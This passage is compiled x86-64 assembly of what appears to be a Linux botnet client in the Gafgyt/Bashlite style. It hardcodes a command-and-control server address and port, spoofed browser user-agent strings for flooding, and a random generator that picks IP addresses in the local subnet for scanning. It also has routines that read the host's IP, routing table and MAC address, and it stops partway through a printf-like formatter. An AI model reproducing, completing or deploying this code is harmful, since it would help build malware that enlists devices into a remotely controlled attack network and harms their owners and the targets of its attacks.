	.file	"22164.c"
	.intel_syntax noprefix
	.text
	.globl	commServer
	.section	.rodata
.LC0:
	.string	"185.132.53.11:839"
	.section	.data.rel.local,"aw"
	.align 8
	.type	commServer, @object
	.size	commServer, 8
commServer:
	.quad	.LC0
	.globl	useragents
	.section	.rodata
	.align 8
.LC1:
	.string	"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
	.align 8
.LC2:
	.string	"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36"
	.align 8
.LC3:
	.string	"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36"
	.align 8
.LC4:
	.string	"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36"
	.align 8
.LC5:
	.string	"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36"
	.align 8
.LC6:
	.string	"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
	.align 8
.LC7:
	.string	"Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36"
	.section	.data.rel.local
	.align 32
	.type	useragents, @object
	.size	useragents, 56
useragents:
	.quad	.LC1
	.quad	.LC2
	.quad	.LC3
	.quad	.LC4
	.quad	.LC5
	.quad	.LC6
	.quad	.LC7
	.globl	mainCommSock
	.bss
	.align 4
	.type	mainCommSock, @object
	.size	mainCommSock, 4
mainCommSock:
	.zero	4
	.globl	currentServer
	.data
	.align 4
	.type	currentServer, @object
	.size	currentServer, 4
currentServer:
	.long	-1
	.globl	gotIP
	.bss
	.align 4
	.type	gotIP, @object
	.size	gotIP, 4
gotIP:
	.zero	4
	.globl	pids
	.align 8
	.type	pids, @object
	.size	pids, 8
pids:
	.zero	8
	.globl	numpids
	.align 8
	.type	numpids, @object
	.size	numpids, 8
numpids:
	.zero	8
	.globl	ourIP
	.align 4
	.type	ourIP, @object
	.size	ourIP, 4
ourIP:
	.zero	4
	.local	Q
	.comm	Q,16384,32
	.data
	.align 4
	.type	c, @object
	.size	c, 4
c:
	.long	362436
	.globl	macAddress
	.bss
	.type	macAddress, @object
	.size	macAddress, 6
macAddress:
	.zero	6
	.text
	.globl	init_rand
	.type	init_rand, @function
init_rand:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	DWORD PTR -20[rbp], edi
	mov	eax, DWORD PTR -20[rbp]
	mov	DWORD PTR Q[rip], eax
	mov	eax, DWORD PTR -20[rbp]
	sub	eax, 1640531527
	mov	DWORD PTR Q[rip+4], eax
	mov	eax, DWORD PTR -20[rbp]
	add	eax, 1013904242
	mov	DWORD PTR Q[rip+8], eax
	mov	DWORD PTR -4[rbp], 3
	jmp	.L2
.L3:
	mov	eax, DWORD PTR -4[rbp]
	sub	eax, 3
	cdqe
	lea	rdx, 0[0+rax*4]
	lea	rax, Q[rip]
	mov	ecx, DWORD PTR [rdx+rax]
	mov	eax, DWORD PTR -4[rbp]
	sub	eax, 2
	cdqe
	lea	rdx, 0[0+rax*4]
	lea	rax, Q[rip]
	mov	eax, DWORD PTR [rdx+rax]
	xor	ecx, eax
	mov	edx, ecx
	mov	eax, DWORD PTR -4[rbp]
	xor	eax, edx
	xor	eax, -1640531527
	mov	ecx, eax
	mov	eax, DWORD PTR -4[rbp]
	cdqe
	lea	rdx, 0[0+rax*4]
	lea	rax, Q[rip]
	mov	DWORD PTR [rdx+rax], ecx
	add	DWORD PTR -4[rbp], 1
.L2:
	cmp	DWORD PTR -4[rbp], 4095
	jle	.L3
	nop
	nop
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	init_rand, .-init_rand
	.globl	rand_cmwc
	.type	rand_cmwc, @function
rand_cmwc:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	mov	QWORD PTR -16[rbp], 18782
	mov	DWORD PTR -20[rbp], -2
	mov	eax, DWORD PTR i.0[rip]
	add	eax, 1
	and	eax, 4095
	mov	DWORD PTR i.0[rip], eax
	mov	eax, DWORD PTR i.0[rip]
	mov	eax, eax
	lea	rdx, 0[0+rax*4]
	lea	rax, Q[rip]
	mov	eax, DWORD PTR [rdx+rax]
	mov	eax, eax
	imul	rax, QWORD PTR -16[rbp]
	mov	edx, DWORD PTR c[rip]
	mov	edx, edx
	add	rax, rdx
	mov	QWORD PTR -8[rbp], rax
	mov	rax, QWORD PTR -8[rbp]
	shr	rax, 32
	mov	DWORD PTR c[rip], eax
	mov	rax, QWORD PTR -8[rbp]
	mov	edx, eax
	mov	eax, DWORD PTR c[rip]
	add	eax, edx
	mov	DWORD PTR -24[rbp], eax
	mov	eax, DWORD PTR c[rip]
	cmp	DWORD PTR -24[rbp], eax
	jnb	.L5
	add	DWORD PTR -24[rbp], 1
	mov	eax, DWORD PTR c[rip]
	add	eax, 1
	mov	DWORD PTR c[rip], eax
.L5:
	mov	esi, DWORD PTR i.0[rip]
	mov	eax, DWORD PTR -20[rbp]
	sub	eax, DWORD PTR -24[rbp]
	mov	edx, esi
	lea	rcx, 0[0+rdx*4]
	lea	rdx, Q[rip]
	mov	DWORD PTR [rcx+rdx], eax
	mov	eax, esi
	lea	rdx, 0[0+rax*4]
	lea	rax, Q[rip]
	mov	eax, DWORD PTR [rdx+rax]
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	rand_cmwc, .-rand_cmwc
	.globl	getRandomIP
	.type	getRandomIP, @function
getRandomIP:
.LFB8:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	DWORD PTR -20[rbp], edi
	mov	eax, DWORD PTR ourIP[rip]
	mov	edi, eax
	call	ntohl@PLT
	and	eax, DWORD PTR -20[rbp]
	mov	DWORD PTR -4[rbp], eax
	call	rand_cmwc
	mov	edx, eax
	mov	eax, DWORD PTR -20[rbp]
	not	eax
	and	eax, edx
	xor	eax, DWORD PTR -4[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE8:
	.size	getRandomIP, .-getRandomIP
	.globl	fdgets
	.type	fdgets, @function
fdgets:
.LFB9:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	DWORD PTR -28[rbp], esi
	mov	DWORD PTR -32[rbp], edx
	mov	DWORD PTR -8[rbp], 1
	mov	DWORD PTR -4[rbp], 0
	jmp	.L10
.L12:
	mov	eax, DWORD PTR -4[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -24[rbp]
	lea	rcx, [rdx+rax]
	mov	eax, DWORD PTR -32[rbp]
	mov	edx, 1
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	mov	DWORD PTR -8[rbp], eax
	add	DWORD PTR -4[rbp], 1
.L10:
	cmp	DWORD PTR -8[rbp], 1
	jne	.L11
	mov	eax, DWORD PTR -4[rbp]
	cmp	eax, DWORD PTR -28[rbp]
	jge	.L11
	mov	eax, DWORD PTR -4[rbp]
	cdqe
	lea	rdx, -1[rax]
	mov	rax, QWORD PTR -24[rbp]
	add	rax, rdx
	movzx	eax, BYTE PTR [rax]
	cmp	al, 10
	jne	.L12
.L11:
	cmp	DWORD PTR -8[rbp], 0
	je	.L13
	mov	rax, QWORD PTR -24[rbp]
	jmp	.L15
.L13:
	mov	eax, 0
.L15:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE9:
	.size	fdgets, .-fdgets
	.section	.rodata
.LC8:
	.string	"8.8.8.8"
.LC9:
	.string	"/proc/net/route"
.LC10:
	.string	"\t00000000\t"
	.text
	.globl	getOurIP
	.type	getOurIP, @function
getOurIP:
.LFB10:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 4096
	or	QWORD PTR [rsp], 0
	add	rsp, -128
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	mov	edx, 0
	mov	esi, 2
	mov	edi, 2
	call	socket@PLT
	mov	DWORD PTR -4212[rbp], eax
	cmp	DWORD PTR -4212[rbp], -1
	jne	.L17
	mov	eax, 0
	jmp	.L16
.L17:
	lea	rax, -4192[rbp]
	mov	edx, 16
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
	mov	WORD PTR -4192[rbp], 2
	lea	rdi, .LC8[rip]
	call	inet_addr@PLT
	mov	DWORD PTR -4188[rbp], eax
	mov	edi, 53
	call	htons@PLT
	mov	WORD PTR -4190[rbp], ax
	lea	rcx, -4192[rbp]
	mov	eax, DWORD PTR -4212[rbp]
	mov	edx, 16
	mov	rsi, rcx
	mov	edi, eax
	call	connect@PLT
	mov	DWORD PTR -4208[rbp], eax
	cmp	DWORD PTR -4208[rbp], -1
	jne	.L19
	mov	eax, 0
	jmp	.L16
.L19:
	mov	DWORD PTR -4220[rbp], 16
	lea	rdx, -4220[rbp]
	lea	rcx, -4176[rbp]
	mov	eax, DWORD PTR -4212[rbp]
	mov	rsi, rcx
	mov	edi, eax
	call	getsockname@PLT
	mov	DWORD PTR -4208[rbp], eax
	cmp	DWORD PTR -4208[rbp], -1
	jne	.L20
	mov	eax, 0
	jmp	.L16
.L20:
	mov	eax, DWORD PTR -4172[rbp]
	mov	DWORD PTR ourIP[rip], eax
	mov	esi, 0
	lea	rdi, .LC9[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -4204[rbp], eax
	jmp	.L21
.L26:
	lea	rax, -4112[rbp]
	lea	rsi, .LC10[rip]
	mov	rdi, rax
	call	strstr@PLT
	test	rax, rax
	je	.L22
	lea	rax, -4112[rbp]
	mov	QWORD PTR -4200[rbp], rax
	jmp	.L23
.L24:
	add	QWORD PTR -4200[rbp], 1
.L23:
	mov	rax, QWORD PTR -4200[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 9
	jne	.L24
	mov	rax, QWORD PTR -4200[rbp]
	mov	BYTE PTR [rax], 0
	jmp	.L25
.L22:
	lea	rax, -4112[rbp]
	mov	edx, 4096
	mov	esi, 0
	mov	rdi, rax
	call	memset@PLT
.L21:
	mov	edx, DWORD PTR -4204[rbp]
	lea	rax, -4112[rbp]
	mov	esi, 4096
	mov	rdi, rax
	call	fdgets
	test	rax, rax
	jne	.L26
.L25:
	mov	eax, DWORD PTR -4204[rbp]
	mov	edi, eax
	call	close@PLT
	movzx	eax, BYTE PTR -4112[rbp]
	test	al, al
	je	.L27
	lea	rdx, -4112[rbp]
	lea	rax, -4160[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	strcpy@PLT
	lea	rdx, -4160[rbp]
	mov	eax, DWORD PTR -4212[rbp]
	mov	esi, 35111
	mov	edi, eax
	mov	eax, 0
	call	ioctl@PLT
	mov	DWORD PTR -4216[rbp], 0
	jmp	.L28
.L29:
	mov	eax, DWORD PTR -4216[rbp]
	movsx	rdx, eax
	lea	rax, -4160[rbp]
	add	rax, 18
	add	rax, rdx
	movzx	edx, BYTE PTR [rax]
	mov	eax, DWORD PTR -4216[rbp]
	cdqe
	lea	rcx, macAddress[rip]
	mov	BYTE PTR [rax+rcx], dl
	add	DWORD PTR -4216[rbp], 1
.L28:
	cmp	DWORD PTR -4216[rbp], 5
	jle	.L29
.L27:
	mov	eax, DWORD PTR -4212[rbp]
	mov	edi, eax
	call	close@PLT
.L16:
	mov	rcx, QWORD PTR -8[rbp]
	sub	rcx, QWORD PTR fs:40
	je	.L31
	call	__stack_chk_fail@PLT
.L31:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE10:
	.size	getOurIP, .-getOurIP
	.globl	trim
	.type	trim, @function
trim:
.LFB11:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 32
	mov	QWORD PTR -24[rbp], rdi
	mov	DWORD PTR -8[rbp], 0
	mov	rax, QWORD PTR -24[rbp]
	mov	rdi, rax
	call	strlen@PLT
	sub	eax, 1
	mov	DWORD PTR -4[rbp], eax
	jmp	.L33
.L34:
	add	DWORD PTR -8[rbp], 1
.L33:
	mov	eax, DWORD PTR -8[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, rdx
	movzx	eax, BYTE PTR [rax]
	movsx	eax, al
	mov	edi, eax
	call	isspace@PLT
	test	eax, eax
	jne	.L34
	jmp	.L35
.L37:
	sub	DWORD PTR -4[rbp], 1
.L35:
	mov	eax, DWORD PTR -4[rbp]
	cmp	eax, DWORD PTR -8[rbp]
	jl	.L36
	mov	eax, DWORD PTR -4[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, rdx
	movzx	eax, BYTE PTR [rax]
	movsx	eax, al
	mov	edi, eax
	call	isspace@PLT
	test	eax, eax
	jne	.L37
.L36:
	mov	eax, DWORD PTR -8[rbp]
	mov	DWORD PTR -12[rbp], eax
	jmp	.L38
.L39:
	mov	eax, DWORD PTR -12[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -24[rbp]
	lea	rcx, [rdx+rax]
	mov	eax, DWORD PTR -12[rbp]
	sub	eax, DWORD PTR -8[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -24[rbp]
	add	rdx, rax
	movzx	eax, BYTE PTR [rcx]
	mov	BYTE PTR [rdx], al
	add	DWORD PTR -12[rbp], 1
.L38:
	mov	eax, DWORD PTR -12[rbp]
	cmp	eax, DWORD PTR -4[rbp]
	jle	.L39
	mov	eax, DWORD PTR -12[rbp]
	sub	eax, DWORD PTR -8[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, rdx
	mov	BYTE PTR [rax], 0
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE11:
	.size	trim, .-trim
	.type	printchar, @function
printchar:
.LFB12:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 16
	mov	QWORD PTR -8[rbp], rdi
	mov	DWORD PTR -12[rbp], esi
	cmp	QWORD PTR -8[rbp], 0
	je	.L41
	mov	edx, DWORD PTR -12[rbp]
	mov	rax, QWORD PTR -8[rbp]
	mov	rax, QWORD PTR [rax]
	mov	BYTE PTR [rax], dl
	mov	rax, QWORD PTR -8[rbp]
	mov	rax, QWORD PTR [rax]
	lea	rdx, 1[rax]
	mov	rax, QWORD PTR -8[rbp]
	mov	QWORD PTR [rax], rdx
	jmp	.L43
.L41:
	lea	rax, -12[rbp]
	mov	edx, 1
	mov	rsi, rax
	mov	edi, 1
	call	write@PLT
.L43:
	nop
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE12:
	.size	printchar, .-printchar
	.type	prints, @function
prints:
.LFB13:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 32
	.cfi_offset 14, -24
	.cfi_offset 13, -32
	.cfi_offset 12, -40
	.cfi_offset 3, -48
	mov	QWORD PTR -40[rbp], rdi
	mov	QWORD PTR -48[rbp], rsi
	mov	DWORD PTR -52[rbp], edx
	mov	DWORD PTR -56[rbp], ecx
	mov	ebx, 0
	mov	r14d, 32
	cmp	DWORD PTR -52[rbp], 0
	jle	.L45
	mov	r12d, 0
	mov	r13, QWORD PTR -48[rbp]
	jmp	.L46
.L47:
	add	r12d, 1
	add	r13, 1
.L46:
	movzx	eax, BYTE PTR 0[r13]
	test	al, al
	jne	.L47
	cmp	r12d, DWORD PTR -52[rbp]
	jl	.L48
	mov	DWORD PTR -52[rbp], 0
	jmp	.L49
.L48:
	sub	DWORD PTR -52[rbp], r12d
.L49:
	mov	eax, DWORD PTR -56[rbp]
	and	eax, 2
	test	eax, eax
	je	.L45
	mov	r14d, 48
.L45:
	mov	eax, DWORD PTR -56[rbp]
	and	eax, 1
	test	eax, eax
	jne	.L53
	jmp	.L51
.L52:
	mov	rax, QWORD PTR -40[rbp]
	mov	esi, r14d
	mov	rdi, rax
	call	printchar
	add	ebx, 1
	sub	DWORD PTR -52[rbp], 1
.L51:
	cmp	DWORD PTR -52[rbp], 0
	jg	.L52
	jmp	.L53
.L54:
	mov	rax, QWORD PTR -48[rbp]
	movzx	eax, BYTE PTR [rax]
	movzx	edx, al
	mov	rax, QWORD PTR -40[rbp]
	mov	esi, edx
	mov	rdi, rax
	call	printchar
	add	ebx, 1
	add	QWORD PTR -48[rbp], 1
.L53:
	mov	rax, QWORD PTR -48[rbp]
	movzx	eax, BYTE PTR [rax]
	test	al, al
	jne	.L54
	jmp	.L55
.L56:
	mov	rax, QWORD PTR -40[rbp]
	mov	esi, r14d
	mov	rdi, rax
	call	printchar
	add	ebx, 1
	sub	DWORD PTR -52[rbp], 1
.L55:
	cmp	DWORD PTR -52[rbp], 0
	jg	.L56
	mov	eax, ebx
	add	rsp, 32
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE13:
	.size	prints, .-prints
	.type	printi, @function
printi:
.LFB14:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r15
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 72
	.cfi_offset 15, -24
	.cfi_offset 14, -32
	.cfi_offset 13, -40
	.cfi_offset 12, -48
	.cfi_offset 3, -56
	mov	QWORD PTR -88[rbp], rdi
	mov	DWORD PTR -92[rbp], esi
	mov	DWORD PTR -96[rbp], edx
	mov	DWORD PTR -100[rbp], ecx
	mov	DWORD PTR -104[rbp], r8d
	mov	DWORD PTR -108[rbp], r9d
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -56[rbp], rax
	xor	eax, eax
	mov	r15d, 0
	mov	r14d, 0
	mov	r12d, DWORD PTR -92[rbp]
	cmp	DWORD PTR -92[rbp], 0
	jne	.L59
	mov	BYTE PTR -68[rbp], 48
	mov	BYTE PTR -67[rbp], 0
	mov	ecx, DWORD PTR -108[rbp]
	mov	edx, DWORD PTR -104[rbp]
	lea	rsi, -68[rbp]
	mov	rax, QWORD PTR -88[rbp]
	mov	rdi, rax
	call	prints
	jmp	.L67
.L59:
	cmp	DWORD PTR -100[rbp], 0
	je	.L61
	cmp	DWORD PTR -96[rbp], 10
	jne	.L61
	cmp	DWORD PTR -92[rbp], 0
	jns	.L61
	mov	r15d, 1
	mov	eax, DWORD PTR -92[rbp]
	neg	eax
	mov	r12d, eax
.L61:
	lea	rbx, -68[rbp]
	add	rbx, 11
	mov	BYTE PTR [rbx], 0
	jmp	.L62
.L64:
	mov	ecx, DWORD PTR -96[rbp]
	mov	eax, r12d
	mov	edx, 0
	div	ecx
	mov	eax, edx
	mov	r13d, eax
	cmp	r13d, 9
	jle	.L63
	mov	eax, DWORD PTR 16[rbp]
	sub	eax, 58
	add	r13d, eax
.L63:
	mov	eax, r13d
	sub	rbx, 1
	add	eax, 48
	mov	BYTE PTR [rbx], al
	mov	edi, DWORD PTR -96[rbp]
	mov	eax, r12d
	mov	edx, 0
	div	edi
	mov	r12d, eax
.L62:
	test	r12d, r12d
	jne	.L64
	test	r15d, r15d
	je	.L65
	cmp	DWORD PTR -104[rbp], 0
	je	.L66
	mov	eax, DWORD PTR -108[rbp]
	and	eax, 2
	test	eax, eax
	je	.L66
	mov	rax, QWORD PTR -88[rbp]
	mov	esi, 45
	mov	rdi, rax
	call	printchar
	add	r14d, 1
	sub	DWORD PTR -104[rbp], 1
	jmp	.L65
.L66:
	sub	rbx, 1
	mov	BYTE PTR [rbx], 45
.L65:
	mov	ecx, DWORD PTR -108[rbp]
	mov	edx, DWORD PTR -104[rbp]
	mov	rax, QWORD PTR -88[rbp]
	mov	rsi, rbx
	mov	rdi, rax
	call	prints
	add	eax, r14d
.L67:
	mov	rdi, QWORD PTR -56[rbp]
	sub	rdi, QWORD PTR fs:40
	je	.L68
	call	__stack_chk_fail@PLT
.L68:
	add	rsp, 72
	pop	rbx
	pop	r12
	pop	r13
	pop	r14
	pop	r15
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE14:
	.size	printi, .-printi
	.section	.rodata
.LC11:
	.string	"(null)"
	.text
	.type	print, @function
print:
.LFB15:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	r14
	push	r13
	push	r12
	push	rbx
	sub	rsp, 48
	.cfi_offset 14, -24
	.cfi_offset 13, -32
	.cfi_offset 12, -40
	.cfi_offset 3, -48
	mov	QWORD PTR -56[rbp], rdi
	mov	QWORD PTR -64[rbp], rsi
	mov	QWORD PTR -72[rbp], rdx
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -40[rbp], rax
	xor	eax, eax
	mov	ebx, 0
	jmp	.L70
.L101:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 37
	jne	.L105
	add	QWORD PTR -64[rbp], 1
	mov	r12d, 0
	mov	r13d, r12d
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	test	al, al
	je	.L106
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 37
	je	.L107
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 45
	jne	.L76
	add	QWORD PTR -64[rbp], 1
	mov	r12d, 1
	jmp	.L76
.L77:
	add	QWORD PTR -64[rbp], 1
	or	r12d, 2
.L76:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 48
	je	.L77
	jmp	.L78
.L80:
	mov	eax, r13d
	sal	eax, 2
	add	eax, r13d
	add	eax, eax
	mov	r13d, eax
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	sub	eax, 48
	add	r13d, eax
	add	QWORD PTR -64[rbp], 1
.L78:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 47
	jbe	.L79
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 57
	jbe	.L80
.L79:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 115
	jne	.L81
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	cmp	eax, 47
	ja	.L82
	mov	rax, QWORD PTR -72[rbp]
	mov	rdx, QWORD PTR 16[rax]
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	mov	eax, eax
	add	rax, rdx
	mov	rdx, QWORD PTR -72[rbp]
	mov	edx, DWORD PTR [rdx]
	lea	ecx, 8[rdx]
	mov	rdx, QWORD PTR -72[rbp]
	mov	DWORD PTR [rdx], ecx
	jmp	.L83
.L82:
	mov	rax, QWORD PTR -72[rbp]
	mov	rax, QWORD PTR 8[rax]
	lea	rcx, 8[rax]
	mov	rdx, QWORD PTR -72[rbp]
	mov	QWORD PTR 8[rdx], rcx
.L83:
	mov	eax, DWORD PTR [rax]
	cdqe
	mov	r14, rax
	test	r14, r14
	je	.L84
	mov	rsi, r14
	jmp	.L85
.L84:
	lea	rsi, .LC11[rip]
.L85:
	mov	rax, QWORD PTR -56[rbp]
	mov	ecx, r12d
	mov	edx, r13d
	mov	rdi, rax
	call	prints
	add	ebx, eax
	jmp	.L86
.L81:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 100
	jne	.L87
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	cmp	eax, 47
	ja	.L88
	mov	rax, QWORD PTR -72[rbp]
	mov	rdx, QWORD PTR 16[rax]
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	mov	eax, eax
	add	rax, rdx
	mov	rdx, QWORD PTR -72[rbp]
	mov	edx, DWORD PTR [rdx]
	lea	ecx, 8[rdx]
	mov	rdx, QWORD PTR -72[rbp]
	mov	DWORD PTR [rdx], ecx
	jmp	.L89
.L88:
	mov	rax, QWORD PTR -72[rbp]
	mov	rax, QWORD PTR 8[rax]
	lea	rcx, 8[rax]
	mov	rdx, QWORD PTR -72[rbp]
	mov	QWORD PTR 8[rdx], rcx
.L89:
	mov	esi, DWORD PTR [rax]
	mov	rax, QWORD PTR -56[rbp]
	sub	rsp, 8
	push	97
	mov	r9d, r12d
	mov	r8d, r13d
	mov	ecx, 1
	mov	edx, 10
	mov	rdi, rax
	call	printi
	add	rsp, 16
	add	ebx, eax
	jmp	.L86
.L87:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 120
	jne	.L90
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	cmp	eax, 47
	ja	.L91
	mov	rax, QWORD PTR -72[rbp]
	mov	rdx, QWORD PTR 16[rax]
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	mov	eax, eax
	add	rax, rdx
	mov	rdx, QWORD PTR -72[rbp]
	mov	edx, DWORD PTR [rdx]
	lea	ecx, 8[rdx]
	mov	rdx, QWORD PTR -72[rbp]
	mov	DWORD PTR [rdx], ecx
	jmp	.L92
.L91:
	mov	rax, QWORD PTR -72[rbp]
	mov	rax, QWORD PTR 8[rax]
	lea	rcx, 8[rax]
	mov	rdx, QWORD PTR -72[rbp]
	mov	QWORD PTR 8[rdx], rcx
.L92:
	mov	esi, DWORD PTR [rax]
	mov	rax, QWORD PTR -56[rbp]
	sub	rsp, 8
	push	97
	mov	r9d, r12d
	mov	r8d, r13d
	mov	ecx, 0
	mov	edx, 16
	mov	rdi, rax
	call	printi
	add	rsp, 16
	add	ebx, eax
	jmp	.L86
.L90:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 88
	jne	.L93
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	cmp	eax, 47
	ja	.L94
	mov	rax, QWORD PTR -72[rbp]
	mov	rdx, QWORD PTR 16[rax]
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	mov	eax, eax
	add	rax, rdx
	mov	rdx, QWORD PTR -72[rbp]
	mov	edx, DWORD PTR [rdx]
	lea	ecx, 8[rdx]
	mov	rdx, QWORD PTR -72[rbp]
	mov	DWORD PTR [rdx], ecx
	jmp	.L95
.L94:
	mov	rax, QWORD PTR -72[rbp]
	mov	rax, QWORD PTR 8[rax]
	lea	rcx, 8[rax]
	mov	rdx, QWORD PTR -72[rbp]
	mov	QWORD PTR 8[rdx], rcx
.L95:
	mov	esi, DWORD PTR [rax]
	mov	rax, QWORD PTR -56[rbp]
	sub	rsp, 8
	push	65
	mov	r9d, r12d
	mov	r8d, r13d
	mov	ecx, 0
	mov	edx, 16
	mov	rdi, rax
	call	printi
	add	rsp, 16
	add	ebx, eax
	jmp	.L86
.L93:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
	cmp	al, 117
	jne	.L96
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	cmp	eax, 47
	ja	.L97
	mov	rax, QWORD PTR -72[rbp]
	mov	rdx, QWORD PTR 16[rax]
	mov	rax, QWORD PTR -72[rbp]
	mov	eax, DWORD PTR [rax]
	mov	eax, eax
	add	rax, rdx
	mov	rdx, QWORD PTR -72[rbp]
	mov	edx, DWORD PTR [rdx]
	lea	ecx, 8[rdx]
	mov	rdx, QWORD PTR -72[rbp]
	mov	DWORD PTR [rdx], ecx
	jmp	.L98
.L97:
	mov	rax, QWORD PTR -72[rbp]
	mov	rax, QWORD PTR 8[rax]
	lea	rcx, 8[rax]
	mov	rdx, QWORD PTR -72[rbp]
	mov	QWORD PTR 8[rdx], rcx
.L98:
	mov	esi, DWORD PTR [rax]
	mov	rax, QWORD PTR -56[rbp]
	sub	rsp, 8
	push	97
	mov	r9d, r12d
	mov	r8d, r13d
	mov	ecx, 0
	mov	edx, 10
	mov	rdi, rax
	call	printi
	add	rsp, 16
	add	ebx, eax
	jmp	.L86
.L96:
	mov	rax, QWORD PTR -64[rbp]
	movzx	eax, BYTE PTR [rax]
